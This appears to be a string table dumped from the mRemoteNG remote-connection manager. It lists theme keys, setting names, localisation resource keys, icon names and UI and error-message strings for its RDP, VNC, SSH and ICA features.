9HQZajy {{ Connection = {0}, LocalProperties = {1} }} mRemoteNG.Resources.Themes.ColorMapTheme Button_Background Button_Border Button_Disabled_Background Button_Disabled_Border Button_Disabled_Foreground Button_Foreground Button_Hover_Background Button_Hover_Border Button_Hover_Foreground Button_Pressed_Background Button_Pressed_Border Button_Pressed_Foreground CheckBox_Background CheckBox_Border CheckBox_Border_Disabled CheckBox_Border_Hover CheckBox_Border_Pressed CheckBox_Glyph CheckBox_Glyph_Disabled CheckBox_Text CheckBox_Text_Disabled ComboBox_Background ComboBox_Border ComboBox_Button_Background ComboBox_Button_Border ComboBox_Button_Foreground ComboBox_Button_MouseOver_Background ComboBox_Button_MouseOver_Border ComboBox_Button_MouseOver_Foreground ComboBox_Button_Pressed_Background ComboBox_Button_Pressed_Foreground ComboBox_Disabled_Background ComboBox_Disabled_Foreground ComboBox_Foreground ComboBox_MouseOver_Border ComboBox_PopUp ComboBox_PopUp_Border CommandBarMenuDefault_Background CommandBarMenuDefault_Foreground Dialog_Background Dialog_Foreground ErrorText_Background ErrorText_Foreground GroupBox_Backgorund GroupBox_Disabled_Background GroupBox_Disabled_Foreground GroupBox_Disabled_Line GroupBox_Foreground GroupBox_Line List_Background List_Header_Background List_Header_Foreground List_Item_Background List_Item_Border List_Item_Disabled_Background List_Item_Disabled_Border List_Item_Disabled_Foreground List_Item_Foreground List_Item_Selected_Background List_Item_Selected_Border List_Item_Selected_Foreground ProgressBar_Background ProgressBar_Fill ProgressBar_Fill_Critical ProgressBar_Fill_Warning Tab_Background Tab_Item_Background Tab_Item_Disabled_Background Tab_Item_Disabled_Foreground Tab_Item_Foreground TextBox_Background TextBox_Border TextBox_Border_Disabled TextBox_Border_Focused TextBox_Disabled_Background TextBox_Disabled_Foreground TextBox_Focused_Background TextBox_Focused_Foreground TextBox_Foreground TreeView_Background TreeView_Foreground Treeview_SelectedItem_Active_Background Treeview_SelectedItem_Active_Foreground Treeview_SelectedItem_Inactive_Background Treeview_SelectedItem_Inactive_Foreground WarningText_Background WarningText_Foreground MainFormLocation MainFormSize MainFormState MainFormKiosk DoUpgrade CustomPuttyPath SwitchToMCOnInformation SwitchToMCOnWarning SwitchToMCOnError AutomaticallyGetSessionInfo LoadConsFromCustomLocation CustomConsPath SaveConsOnExit CheckForUpdatesOnStartup ShowDescriptionTooltipsInTree ShowSystemTrayIcon OpenTabsRightOfSelected ShowLogonInfoOnTabs SingleClickOnConnectionOpensIt EmptyCredentials DefaultUsername DefaultPassword DefaultDomain UseCustomPuttyPath FirstStart ShowProtocolOnTabs ResetPanels UpdateUseProxy UpdateProxyAddress UpdateProxyPort UpdateProxyUseAuthentication UpdateProxyAuthUser UpdateProxyAuthPass ConDefaultDescription ConDefaultProtocol ConDefaultPuttySession ConDefaultUseConsoleSession ConDefaultResolution ConDefaultColors ConDefaultCacheBitmaps ConDefaultDisplayWallpaper ConDefaultDisplayThemes ConDefaultRedirectKeys ConDefaultRedirectDiskDrives ConDefaultRedirectPrinters ConDefaultRedirectPorts ConDefaultRedirectSmartCards ConDefaultRedirectSound MaxPuttyWaitTime SingleInstance OpenConsFromLastSession NoReconnect AutoSaveEveryMinutes ExtAppsTBVisible ExtAppsTBShowText ExtAppsTBLocation ExtAppsTBParentDock QuickyTBVisible QuickyTBLocation QuickyTBParentDock ResetToolbars UseSQLServer SQLHost SQLUser SQLPass InhDefaultCacheBitmaps InhDefaultColors InhDefaultDescription InhDefaultDisplayThemes InhDefaultDisplayWallpaper InhDefaultDomain InhDefaultIcon InhDefaultPassword InhDefaultPort InhDefaultProtocol InhDefaultPuttySession InhDefaultRedirectDiskDrives InhDefaultRedirectKeys InhDefaultRedirectPorts InhDefaultRedirectPrinters InhDefaultRedirectSmartCards InhDefaultRedirectSound InhDefaultResolution InhDefaultUseConsoleSession InhDefaultUsername InhDefaultPanel ConDefaultICAEncryptionStrength InhDefaultICAEncryptionStrength ConDefaultPreExtApp ConDefaultPostExtApp InhDefaultPreExtApp InhDefaultPostExtApp SetHostnameLikeDisplayName DoubleClickOnTabClosesIt ReconnectOnDisconnect AlwaysShowPanelSelectionDlg ConDefaultVNCAuthMode ConDefaultVNCColors ConDefaultVNCSmartSizeMode ConDefaultVNCViewOnly ConDefaultVNCCompression ConDefaultVNCEncoding ConDefaultVNCProxyIP ConDefaultVNCProxyPassword ConDefaultVNCProxyPort ConDefaultVNCProxyType ConDefaultVNCProxyUsername InhDefaultVNCAuthMode InhDefaultVNCColors InhDefaultVNCSmartSizeMode InhDefaultVNCViewOnly InhDefaultVNCCompression InhDefaultVNCEncoding InhDefaultVNCProxyIP InhDefaultVNCProxyPassword InhDefaultVNCProxyPort InhDefaultVNCProxyType InhDefaultVNCProxyUsername MinimizeToTray SingleClickSwitchesToOpenConnection ConDefaultRDPAuthenticationLevel InhDefaultRDPAuthenticationLevel UVNCSCPort StartupComponentsCheck XULRunnerPath ConDefaultRenderingEngine InhDefaultRenderingEngine ConDefaultMacAddress InhDefaultMacAddress EncryptCompleteConnectionsFile ConDefaultUserField InhDefaultUserField ConDefaultExtApp InhDefaultExtApp CheckForUpdatesAsked CheckForUpdatesFrequencyDays CheckForUpdatesLastCheck UpdatePending ConDefaultRDGatewayUsageMethod ConDefaultRDGatewayUseConnectionCredentials ConDefaultIcon InhDefaultRDGatewayUsageMethod InhDefaultRDGatewayHostname InhDefaultRDGatewayUsername InhDefaultRDGatewayPassword InhDefaultRDGatewayDomain InhDefaultRDGatewayUseConnectionCredentials RdpReconnectionCount OverrideUICulture ConDefaultRDGatewayHostname ConDefaultRDGatewayUsername ConDefaultRDGatewayPassword ConDefaultRDGatewayDomain ConDefaultEnableFontSmoothing InhDefaultEnableFontSmoothing ConDefaultEnableDesktopComposition InhDefaultEnableDesktopComposition ConfirmCloseConnection MainFormRestoreSize MainFormRestoreLocation SQLDatabaseName BackupFileKeepCount BackupFileNameFormat InhDefaultUseCredSsp ConDefaultUseCredSsp AlwaysShowPanelTabs IdentifyQuickConnectTabs UpdateChannel ThemeName ShowConfigHelpText PuttySavedSessionsName PuttySavedSessionsPanel CompatibilityWarnLenovoAutoScrollUtility UpdateAddress ConDefaultLoadBalanceInfo ConDefaultAutomaticResize InhDefaultLoadBalanceInfo InhDefaultAutomaticResize QuickConnectProtocol KeysPreviousTab KeysNextTab ShowCompleteConsPathInTitle ConRDPOverallConnectionTimeout EncryptionEngine EncryptionBlockCipherMode EncryptionKeyDerivationIterations ConDefaultSoundQuality InhDefaultSoundQuality ConDefaultRDPMinutesToIdleTimeout InhDefaultRDPMinutesToIdleTimeout ConDefaultRDPAlertIdleTimeout InhDefaultRDPAlertIdleTimeout InhDefaultCredentialRecord ConDefaultCredentialRecord LogFilePath TextLogMessageWriterWriteDebugMsgs TextLogMessageWriterWriteInfoMsgs TextLogMessageWriterWriteWarningMsgs TextLogMessageWriterWriteErrorMsgs NotificationPanelWriterWriteDebugMsgs NotificationPanelWriterWriteInfoMsgs NotificationPanelWriterWriteWarningMsgs NotificationPanelWriterWriteErrorMsgs PopupMessageWriterWriteDebugMsgs PopupMessageWriterWriteInfoMsgs PopupMessageWriterWriteWarningMsgs PopupMessageWriterWriteErrorMsgs LogToApplicationDirectory PromptUnlockCredReposOnStartup SupportedUICultures ThemingActive ConDefaultUsername ConDefaultPassword ConDefaultDomain ConDefaultPanel SaveConnectionsAfterEveryEdit UseFilterSearch SQLReadOnly LockToolbars RdpLoadBalanceInfoUseUtf8 MultiSshToolbarLocation MultiSshToolbarParentDock MultiSshToolbarVisible CreateEmptyPanelOnStartUp StartUpPanelName OverrideFIPSCheck mRemoteNG.Resources.Language.Language AutomaticReconnectError ChangeConnectionResolutionError ConfigurationCreateNew ConfigurationCustomPath ConfigurationImportFile ConnectionFileNotFound ConnectionSuccessful CouldNotFindExternalTool Credentials CredentialUnavailable DatabaseNotAvailable FilterSearchMatchesInConnectionTree IncorrectPassword LoadBalanceInfoUseUtf8 LoginFailedForUser RepositoryIsUnlocked ServerNotAccessible Source srtWorkingDirectory strAbout strAccept strActive strActiveDirectory strActivity strAdd strAddConnection strAddFolder strAddNodeFromXmlFailed strAddNodesFromSqlFailed strAdvancedSecurityOptions strAllowOnlySingleInstance strAlways strAlwaysConnectEvenIfAuthFails strAlwaysShowPanelSelection strAlwaysShowPanelTabs strAlwaysShowSysTrayIcon strAskUpdatesCommandAskLater strAskUpdatesCommandCustom strAskUpdatesCommandRecommended strAskUpdatesContent strAskUpdatesMainInstruction strAspect strAssignedCredential strAutomaticallyGetSessionInfo strAutoSaveEvery strAutoSaveMins strAvailableVersion strBack strButtonBrowse strButtonCancel strButtonChange strButtonClose strButtonDefaultInheritance strButtonDefaultProperties strButtonDisconnect strButtonIcon strButtonImport strButtonInheritance strButtonLaunch strButtonLaunchPutty strButtonNew strButtonOK strButtonProperties strButtonScan strButtonStop strButtonTestProxy strCannotImportNormalSessionFile strCannotStartPortScan strCategoryAppearance strCategoryConnection strCategoryCredentials strCategoryDisplay strCategoryGateway strCategoryGeneral strCategoryMiscellaneous strCategoryProtocol strCategoryRedirect strCcAlwaysShowScreen strCcCheckAgain strCcCheckFailed strCcCheckSucceeded strCcEOLFailed strCcEOLOK strCcGeckoFailed strCcGeckoOK strCcICAFailed strCcICAOK strCcNotInstalledProperly strCcPuttyFailed strCcPuttyOK strCcRDPFailed strCcRDPOK strCcVNCFailed strCcVNCOK strCheckboxAutomaticReconnect strCheckboxDomain strCheckboxDoNotShowThisMessageAgain strCheckboxInheritance strCheckboxPassword strCheckboxProxyAuthentication strCheckboxPuttyPath strCheckboxReconnectWhenReady strCheckboxUpdateUseProxy strCheckboxUsername strCheckboxWaitForExit strCheckForUpdate strCheckForUpdatesOnStartup strCheckNow strCheckProperInstallationOfComponentsAtStartup strChooseLogPath strChoosePanelBeforeConnecting strChoosePath strClosedPorts strCollapseAllFolders strColumnArguments strColumnDisplayName strColumnFilename strColumnHostnameIP strColumnMessage strColumnUsername strColumnWaitForExit strCommandExitProgram strCommandLineArgsCouldNotBeParsed strCommandOpenConnectionFile strCommandTryAgain strCompatibilityLenovoAutoScrollUtilityDetected strCompatibilityProblemDetected strComponentsCheck strConfigPropertyGridButtonIconClickFailed strConfigPropertyGridHideItemsFailed strConfigPropertyGridMenuClickFailed strConfigPropertyGridObjectFailed strConfigPropertyGridSetHostStatusFailed strConfigPropertyGridValueFailed strConfigUiLoadFailed strConfirmCloseConnectionMainInstruction strConfirmCloseConnectionPanelMainInstruction strConfirmDeleteCredentialRecord strConfirmDeleteExternalTool strConfirmDeleteExternalToolMultiple strConfirmDeleteNodeConnection strConfirmDeleteNodeFolder strConfirmDeleteNodeFolderNotEmpty strConfirmExitMainInstruction strConfirmResetLayout strConnect strConnectInFullscreen strConnecting strConnectionEventConnected strConnectionEventConnectedDetail strConnectionEventConnectionFailed strConnectionEventErrorOccured strConnectionFilePath strConnectionOpenFailed strConnectionOpenFailedNoHostname strConnectionRdpErrorDetail strConnections strConnectionSetDefaultPortFailed strConnectionsFileBackupFailed strConnectionsFileCouldNotBeImported strConnectionsFileCouldNotBeLoaded strConnectionsFileCouldNotBeLoadedNew strConnectionsFileCouldNotBeSaved strConnectionsFileCouldNotSaveAs strConnectNoCredentials strConnectToConsoleSession strConnectWithOptions strConnenctionClosedByUser strConnenctionClosedByUserDetail strConnenctionCloseEvent strConnenctionCloseEventFailed strCouldNotCreateNewConnectionsFile strCouldNotFindToolStripInFilteredPropertyGrid strCreateAndOpenNewFile strCreateEmptyPanelOnStartUp strCredentialEditor strCredentialManager strCredentialManagerUpgradeDescription strCurrentVersion strDebug strDefaultTheme strDelete strDetect strDontConnectToConsoleSessionMenuItem strDontConnectWhenAuthFails strDoubleClickTabClosesIt strDownloadAndInstall strDownloadPortable strDuplicate strEmptyPasswordContinue strEmptyUsernamePasswordDomainFields strEnc128Bit strEnc128BitLogonOnly strEnc40Bit strEnc56Bit strEncBasic strEncryptCompleteConnectionFile strEncryptionBlockCipherMode strEncryptionEngine strEncryptionKeyDerivationIterations strEndIP strEndPort strErrorAddExternalToolsToToolBarFailed strErrorAddFolderFailed strErrorBadDatabaseVersion strErrorCloneNodeFailed strErrorCode strErrorConnectionListSaveFailed strErrorCouldNotLaunchPutty strErrorDecryptionFailed strErrorEncryptionFailed strErrorFipsPolicyIncompatible strErrors strErrorStartupConnectionFileLoad strErrorVerifyDatabaseVersionFailed strExpandAllFolders strExperimental strExport strExportEverything strExportFile strExportItems strExportmRemoteXML strExportProperties strExportSelectedConnection strExportSelectedFolder strExportToFileMenuItem strExtApp strExternalToolDefaultName strFAMFAMFAMAttribution strFAMFAMFAMAttributionURL strFileFormatLabel strFilterAll strFilterAllImportable strFilterApplication strFiltermRemoteCSV strFiltermRemoteXML strFilterPuttyConnectionManager strFilterRdgFiles strFilterRDP strFiltervRD2008CSV strFindMatchingCredentialFailed strFormatInherit strFormatInheritDescription strFree strFullscreen strGeneral strGetConnectionInfoFromSqlFailed strGetConnectionInfoFromXmlFailed strGroupboxAutomaticReconnect strGroupboxConnection strGroupboxExternalToolProperties strGroupboxFiles strHost strHttp strHttpConnectFailed strHttpConnectionFailed strHttpDocumentTileChangeFailed strHttpGecko strHttpInternetExplorer strHttps strHttpSetPropsFailed strHttpsInsecureAllowAlways strHttpsInsecureAllowOnce strHttpsInsecureDontAllow strHttpsInsecurePrompt strHttpsInsecurePromptTitle strICA strIcaConnectionFailed strIcaControlFailed strIcaSetCredentialsFailed strIcaSetEventHandlersFailed strIcaSetPropsFailed strIcaSetResolutionFailed strID strIdentifyQuickConnectTabs strImportAD strImportExport strImportFileFailedContent strImportFileFailedMainInstruction strImportFromFileMenuItem strImportLocationCommandButtons strImportLocationContent strImportLocationMainInstruction strImportMenuItem strImportmRemoteXML strImportPortScan strImportRDPFiles strImportSubOUs strInactive strInformations strInheritNewConnection strIntAppConnectionFailed strIntAppDisposeFailed strIntAppFocusFailed strIntAppHandle strIntAppKillFailed strIntAppParentHandle strIntAppResizeFailed strIntAppStuff strIntAppTitle strIPRange strKeysCtrlAltDel strKeysCtrlEsc strLabelAddress strLabelArguments strLabelChangeLog strLabelClosingConnections strLabelConnect strLabelDisplayName strLabelDomain strLabelFilename strLabelHostname strLabelOptions strLabelPassword strLabelPort strLabelPortableEdition strLabelProtocol strLabelPuttySessionsConfig strLabelPuttyTimeout strLabelReadOnly strLabelReleasedUnderGPL strLabelSeconds strLabelSelectPanel strLabelServerStatus strLabelSQLDatabaseName strLabelSQLServerDatabaseName strLabelUsername strLabelVerify strLanguage strLanguageDefault strLanguageRestartRequired strLoadBalanceInfoUseUtf8 strLoadFromSqlFailed strLoadFromSqlFailedContent strLoadFromXmlFailed strLocalFile strLocalFileDoesNotExist strLockToolbars strLogFilePath strLogging strLogOff strLogTheseMessageTypes strLogToAppDir strLogWriteToFileFailed strLogWriteToFileFinalLocationFailed strMagicLibraryAttribution strMagicLibraryAttributionURL strMenuAbout strMenuAddConnectionPanel strMenuCheckForUpdates strMenuConfig strMenuConnect strMenuConnectionPanels strMenuConnections strMenuConnectionsAndConfig strMenuCopy strMenuCtrlAltDel strMenuCtrlEsc strMenuDelete strMenuDeleteConnection strMenuDeleteExternalTool strMenuDeleteFolder strMenuDisconnect strMenuDonate strMenuDuplicate strMenuDuplicateConnection strMenuDuplicateFolder strMenuDuplicateTab strMenuExit strMenuExternalTools strMenuExternalToolsToolbar strMenuFile strMenuFullScreen strMenuFullScreenRDP strMenuHelp strMenuHelpContents strMenuJumpTo strMenuLaunchExternalTool strMenuLockToolbars strMenuMultiSshToolbar strMenuNewConnectionFile strMenuNewExternalTool strMenuNotifications strMenuNotificationsCopyAll strMenuNotificationsDelete strMenuNotificationsDeleteAll strMenuOpenConnectionFile strMenuOptions strMenuPaste strMenuPortScan strMenuQuickConnectToolbar strMenuReconnect strMenuReconnectAll strMenuRefreshScreen strMenuRename strMenuRenameConnection strMenuRenameFolder strMenuRenameTab strMenuReportBug strMenuResetLayout strMenuSaveConnectionFile strMenuSaveConnectionFileAs strMenuScreenshot strMenuScreenshotManager strMenuSendSpecialKeys strMenuSessionRetrieve strMenuSessions strMenuSessionsAndScreenshots strMenuShowHelpText strMenuShowText strMenuSmartSize strMenuSSHFileTransfer strMenuStartChat strMenuSupportForum strMenuTools strMenuTransferFile strMenuView strMenuViewOnly strMenuWebsite strMinimizeToSysTray strMoveDown strMoveUp strMremoteNgCsv strMremoteNgXml strMultiSshToolbar strMyCurrentWindowsCreds strNever strNewConnection strNewFolder strNewPanel strNewRoot strNewTitle strNo strNoCompression strNodeAlreadyInFolder strNodeCannotDragOnSelf strNodeCannotDragParentOnChild strNodeNotDraggable strNoExtAppDefined strNoInformation strNone strNormal strNoSmartSize strNoUpdateAvailable strOldConffile strOpenADifferentFile strOpenFile strOpenNewameRDGatewayUsername strPropertyNameRDPAlertIdleTimeout strPropertyNameRDPMinutesToIdleTimeout strPropertyNameRedirectDrives strPropertyNameRedirectKeys strPropertyNameRedirectPorts strPropertyNameRedirectPrinters strPropertyNameRedirectSmartCards strPropertyNameRedirectSounds strPropertyNameRenderingEngine strPropertyNameResolution strPropertyNameSmartSizeMode strPropertyNameSoundQuality strPropertyNameUseConsoleSession strPropertyNameUseCredSsp strPropertyNameUser1 strPropertyNameUsername strPropertyNameViewOnly strPropertyNameVNCProxyAddress strPropertyNameVNCProxyPassword strPropertyNameVNCProxyPort strPropertyNameVNCProxyType strPropertyNameVNCProxyUsername strProtocolEventDisconnected strProtocolEventDisconnectFailed strProtocolToImport strProxyTestFailed strProxyTestSucceeded strPuttyConnectionFailed strPuttyDisposeFailed strPuttyFocusFailed strPuttyGetSessionsFailed strPuttyHandle strPuttyKillFailed strPuttyParentHandle strPuttyResizeFailed strPuttySavedSessionsRootName strPuttySessionSettings strPuttySettings strPuttyShowSettingsDialogFailed strPuttyStartFailed strPuttyStuff strPuttyTitle strQuick strQuickConnect strQuickConnectAddFailed strQuickConnectFailed strRadioCloseWarnAll strRadioCloseWarnExit strRadioCloseWarnMultiple strRadioCloseWarnNever strRAW strRDP strRDP16777216Colors strRDP256Colors strRDP32768Colors strRDP4294967296Colors strRDP65536Colors strRdpAddResolutionFailed strRdpAddResolutionsFailed strRdpAddSessionFailed strRdpCloseConnectionFailed strRdpControlCreationFailed strRDPDisableCursorblinking strRDPDisableCursorShadow strRDPDisableFullWindowdrag strRDPDisableMenuAnimations strRDPDisableThemes strRDPDisableWallpaper strRdpDisconnected strRdpDisconnectFailed strRdpErrorCode1 strRdpErrorCode2 strRdpErrorCode3 strRdpErrorCode4 strRdpErrorConnection strRdpErrorGetFailure strRdpErrorGetUnknown strRdpErrorOutOfMemory strRdpErrorUnknown strRdpErrorWindowCreation strRdpErrorWinsock strRdpFileCouldNotBeImported strRDPFitToPanel strRdpFocusFailed strRdpGatewayIsSupported strRdpGatewayNotSupported strRdpGetSessionsFailed strRDPOverallConnectionTimeout strRdpReconnectCount strRdpSetAuthenticationLevelFailed strRdpSetConsoleSessionFailed strRdpSetConsoleSwitch strRdpSetCredentialsFailed strRdpSetEventHandlersFailed strRdpSetGatewayFailed strRdpSetPerformanceFlagsFailed strRdpSetPortFailed strRdpSetPropsFailed strRdpSetRedirectionFailed strRdpSetRedirectKeysFailed strRdpSetResolutionFailed strRDPSmartSize strRDPSoundBringToThisComputer strRDPSoundDoNotPlay strRDPSoundLeaveAtRemoteComputer strRDPSoundQualityDynamic strRDPSoundQualityHigh strRDPSoundQualityMedium strRdpToggleFullscreenFailed strRdpToggleSmartSizeFailed strReconnectAllConnections strReconnectAtStartup strRefresh strRemoteFile strRemove strRemoveAll strRename strRlogin strRunElevated strRunElevateHeader strSave strSaveAll strSaveConnectionsFileBeforeOpeningAnother strSaveConsOnExit strSaveImageFilter strScreen strScreenshot strScreenshots strSearchPrompt strSendTo strSessionGetFailed strSessionKillFailed strSetHostnameLikeDisplayName strSettingMainFormTextFailed strSettingsCouldNotBeSavedOrTrayDispose strShowDescriptionTooltips strShowFullConsFilePath strShowLogonInfoOnTabs strShowOnToolbar strShowOnToolbarColumnHeader strShowProtocolOnTabs strShowTheseMessageTypes strSingleClickOnConnectionOpensIt strSingleClickOnOpenConnectionSwitchesToIt strSmartSizeModeAspect strSmartSizeModeFree strSmartSizeModeNone strSocks5 strSort strSortAsc strSortDesc strSpecialKeys strSQLInfo strSQLServer strSqlUpdateCheckUpdateAvailable strSsh1 strSsh2 strSSHStartTransferBG strSSHTranferSuccessful strSSHTransferEndFailed strSSHTransferFailed strStartIP strStartPort strStartupExit strStatus strSwitchToErrorsAndInfos strTabAdvanced strTabAppearance strTabsAndPanels strTabSecurity strTabUpdates strTelnet strTheFollowing strThemeCategoryConfigPanel strThemeCategoryConnectionsPanel strThemeCategoryGeneral strThemeDescriptionConfigPanelBackgroundColor strThemeDescriptionConfigPanelCategoryTextColor strThemeDescriptionConfigPanelGridLineColor strThemeDescriptionConfigPanelHelpBackgroundColor strThemeDescriptionConfigPanelHelpTextColor strThemeDescriptionConfigPanelTextColor strThemeDescriptionConnectionsPanelBackgroundColor strThemeDescriptionConnectionsPanelTextColor strThemeDescriptionConnectionsPanelTreeLineColor strThemeDescriptionMenuBackgroundColor strThemeDescriptionMenuTextColor strThemeDescriptionSearchBoxBackgroundColor strThemeDescriptionSearchBoxTextColor strThemeDescriptionSearchBoxTextPromptColor strThemeDescriptionToolbarBackgroundColor strThemeDescriptionToolbarTextColor strThemeDescriptionWindowBackgroundColor strThemeNameConfigPanelBackgroundColor strThemeNameConfigPanelCategoryTextColor strThemeNameConfigPanelGridLineColor strThemeNameConfigPanelHelpBackgroundColor strThemeNameConfigPanelHelpTextColor strThemeNameConfigPanelTextColor strThemeNameConnectionsPanelBackgroundColor strThemeNameConnectionsPanelTextColor strThemeNameConnectionsPanelTreeLineColor strThemeNameMenuBackgroundColor strThemeNameMenuTextColor strThemeNameSearchBoxBackgroundColor strThemeNameSearchBoxTextColor strThemeNameSearchBoxTextPromptColor strThemeNameToolbarBackgroundColor strThemeNameToolbarTextColor strThemeNameWindowBackgroundColor strTimeoutInSeconds strTitle strTitleError strTitleInformation strTitlePassword strTitlePasswordWithName strTitleSelectPanel strTitleWarning strTransfer strTransferFailed strTryIntegrate strTryToIntegrateColumnHeader strType strUltraVncRepeater strUltraVNCSCListeningPort strUltraVNCSingleClick strUncheckProperties strUnnamedTheme strUpdateAvailable strUpdateCheck strUpdateCheckCompleteFailed strUpdateCheckFailedLabel strUpdateCheckingLabel strUpdateCheckPortableEdition strUpdateDownloadComplete strUpdateDownloadCompleteFailed strUpdateDownloadFailed strUpdateFrequencyCustom strUpdateFrequencyDaily strUpdateFrequencyMonthly strUpdateFrequencyWeekly strUpdateGetChangeLogFailed strUpdatePortableDownloadComplete strUpgrade strUseDefault strUseDifferentUsernameAndPassword strUser strUseSameUsernameAndPassword strUseSmartCard strUseSQLServer strVersion strVnc strVncConnectionDisconnectFailed strVncRefreshFailed strVncSendSpecialKeysFailed strVncSetEventHandlersFailed strVncSetPropsFailed strVncStartChatFailed strVncToggleSmartSizeFailed strVncToggleViewOnlyFailed strWarnIfAuthFails strWarnings strWeifenLuoAttribution strWeifenLuoAttributionURL strWorkingDirColumnHeader strXULrunnerPath strYes TestConnection TestingConnection Unlock UnlockCredentialRepository Unlocking mRemoteNG.Properties.Resources _Error _lock ActiveDirectory ActiveDirectory_Icon Appearance_Icon application_side_tree Arrow_Down arrow_left arrow_out Arrow_Up Bad_Symbol brick Chat cog_error Collapse ComponentsCheck ComponentsCheck_Icon Config Config_Icon ConnectedOverlay Connection_Add Connection_Duplicate Connections_Load Connections_New Connections_Save Connections_SaveAs Connections_SaveAs_Icon Console Copy Delete Donate ErrorsAndInfos ErrorSmall exclamation Expand ExtApp ExtApp_Add ExtApp_Delete ExtApp_Icon ExtApp_Start File Folder Folder_Add folder_key Fullscreen Good_Symbol green_arrow1 green_arrow2 Help Help_Icon HostStatus_Check HostStatus_Off HostStatus_On Info Info_Icon Information InformationSmall Inheritance Inheritance_Default JumpTo keepass_32x32 key_add key_delete key_Icon Keyboard loading_spinner Lock Logo Monitor monitor_delete monitor_go Monitor_GoTo mRemote mRemote_Icon News News_Icon Options Options_Icon Page page_copy Panel_Add Panel_Close Panels Panels_Icon Pause Play Play_Quick Play_Quick_Icon PortScan PortScan_Icon Properties Properties_Default puttycm PuttyConfig PuttySessions Quit RDCMan_Icon Refresh Rename Root Root_Icon Save Save_Icon Screenshot Screenshot_Add Screenshot_Copy Screenshot_Delete Screenshot_Icon Screenshot_Save Search Session_LogOff Sessions Sessions_Icon shield SmartSize Sort_AZ Sort_ZA SSHTransfer SSHTransfer_Icon StartupExit_Icon Tab_Icon tick Tools Update Update_Icon user_comment UVNC_SC UVNC_SC_Icon View Warning WarningSmall Website IsExpanded New Folder |*.xml| |*.* Object was not present in the collection. Index was out of bounds pnlTop Segoe UI lblEdition Edition pbLogo pnlBottom lblCredits Credits: Consolas txtCredits txtChangeLog lblTitle mRemoteNG lblVersion Version lblChangeLog Change Log: lblLicense License lblCopyright Copyright AboutWindow About Version \CHANGELOG.TXT \CREDITS.TXT Loading About failed btnImport &Import txtDomain lblDomain Domain: btnChangeDomain Change DOMAIN ActiveDirectoryTree btnClose Close chkSubOU Import Sub OUs ActiveDirectoryImportWindow Active Directory Import pnlCheck1 txtCheck1 lblCheck1 RDP check succeeded! pbCheck1 pnlCheck2 txtCheck2 lblCheck2 pbCheck2 pnlCheck3 txtCheck3 lblCheck3 pbCheck3 pnlCheck4 txtCheck4 lblCheck4 pbCheck4 pnlCheck5 txtCheck5 lblCheck5 pbCheck5 btnCheckAgain Check again chkAlwaysShow Always show this screen at startup pnlChecks Components Check Trying to show the components window Failed to properly show the ComponentsWindow Beginning component check Finished component check Found RDC Client version {0} but version {1} or higher is required. RDP (Remote Desktop) RDP installed https://www.reddit.com/r/mRemoteNG/ RDP VNC (Virtual Network Computing) VNC installed VNC \PuTTYNG.exe PuTTY (SSH/Telnet/Rlogin/RAW) Version: Release: PuTTY installed PuTTY File does not exist. ICA (Citrix ICA) ICA installed ICA Firefox Geckofx-Core.dll xul.dll Gecko (Firefox) Rendering Engine (HTTP/S) Version: Gecko Browser installed Gecko GeckoFx was not found in _pGrid PropertyGridContextMenu _propertyGridContextMenuReset &Reset _toolStripSeparator1 _propertyGridContextMenuShowHelpText &Show Help Text _btnShowInheritance _btnShowDefaultInheritance Default Inheritance _btnShowProperties _btnShowDefaultProperties Default Properties _btnIcon Icon _btnHostStatus checking Status CMenIcons ConfigWindow Password CacheBitmaps Colors DisplayThemes DisplayWallpaper EnableFontSmoothing EnableDesktopComposition Domain ICAEncryptionStrength RDGatewayDomain RDGatewayHostname RDGatewayPassword RDGatewayUsageMethod RDGatewayUseConnectionCredentials RDGatewayUsername RDPAuthenticationLevel RDPMinutesToIdleTimeout RDPAlertIdleTimeout LoadBalanceInfo RedirectDiskDrives RedirectKeys RedirectPorts RedirectPrinters RedirectSmartCards RedirectSound RenderingEngine Resolution AutomaticResize UseConsoleSession UseCredSsp VNCAuthMode VNCColors VNCCompression VNCEncoding VNCProxyIP VNCProxyPassword VNCProxyPort VNCProxyType VNCProxyUsername VNCSmartSizeMode VNCViewOnly Panel Hostname Username Protocol Port PuttySession PreExtApp PostExtApp MacAddress UserField Description SoundQuality CredentialRecord Name checkfinished UI.Window.Config.propertyGridContextMenu_Opening() failed. UI.Window.Config.propertyGridContextMenuReset_Click() failed. AddConnectionTab (UI.Window.ConnectionWindow) failed UI.Window.Connection.Connection_FormClosing() failed UI.Window.Connection.CloseConnectionTab() failed ShowHideMenuButtons (UI.Window.ConnectionWindow) failed ToggleSmartSize (UI.Window.ConnectionWindow) failed TransferFile (UI.Window.ConnectionWindow) failed SSHTransferFile (UI.Window.ConnectionWindow) failed VNCTransferFile (UI.Window.ConnectionWindow) failed ToggleViewOnly (UI.Window.ConnectionWindow) failed StartChat (UI.Window.ConnectionWindow) failed RefreshScreen (UI.Window.ConnectionWindow) failed SendSpecialKeys (UI.Window.ConnectionWindow) failed ToggleFullscreen (UI.Window.ConnectionWindow) failed ShowPuttySettingsDialog (UI.Window.ConnectionWindow) failed cMenTreeTools_DropDownOpening failed (UI.Window.ConnectionWindow) cmenTabExternalAppsEntry_Click failed (UI.Window.ConnectionWindow) CloseTabMenu (UI.Window.ConnectionWindow) failed DuplicateTab (UI.Window.ConnectionWindow) failed Reconnect (UI.Window.ConnectionWindow) failed RenameTab (UI.Window.ConnectionWindow) failed Couldn't close tab TabController_MouseUp (UI.Window.ConnectionWindow) failed FocusIC (UI.Window.ConnectionWindow) failed RefreshIC (UI.Window.Connection) failed UI.Window.Connection.WndProc() failed. TabController cmenTab cmenTabFullscreen Fullscreen (RDP) cmenTabSmartSize SmartSize (RDP/VNC) cmenTabViewOnly View Only (VNC) ToolStripSeparator1 cmenTabScreenshot cmenTabStartChat Start Chat (VNC) cmenTabTransferFile Transfer File (SSH) cmenTabRefreshScreen Refresh Screen (VNC) cmenTabSendSpecialKeys Send special Keys (VNC) cmenTabSendSpecialKeysCtrlAltDel Ctrl+Alt+Del cmenTabSendSpecialKeysCtrlEsc Ctrl+Esc cmenTabExternalApps.Image cmenTabExternalApps External Applications cmenTabSep1 cmenTabRenameTab Rename Tab cmenTabDuplicateTab Duplicate Tab cmenTabReconnect.Image cmenTabReconnect Reconnect cmenTabDisconnect Disconnect cmenTabPuttySettings PuTTY Settings Connection UI.Window.Connection LayoutVertical (UI.Window.ErrorsAndInfos) failed LayoutHorizontal (UI.Window.ErrorsAndInfos) failed ErrorsAndInfos_Resize (UI.Window.ErrorsAndInfos) failed pnlErrorMsg_ResetDefaultStyle (UI.Window.ErrorsAndInfos) failed MC_KeyDown 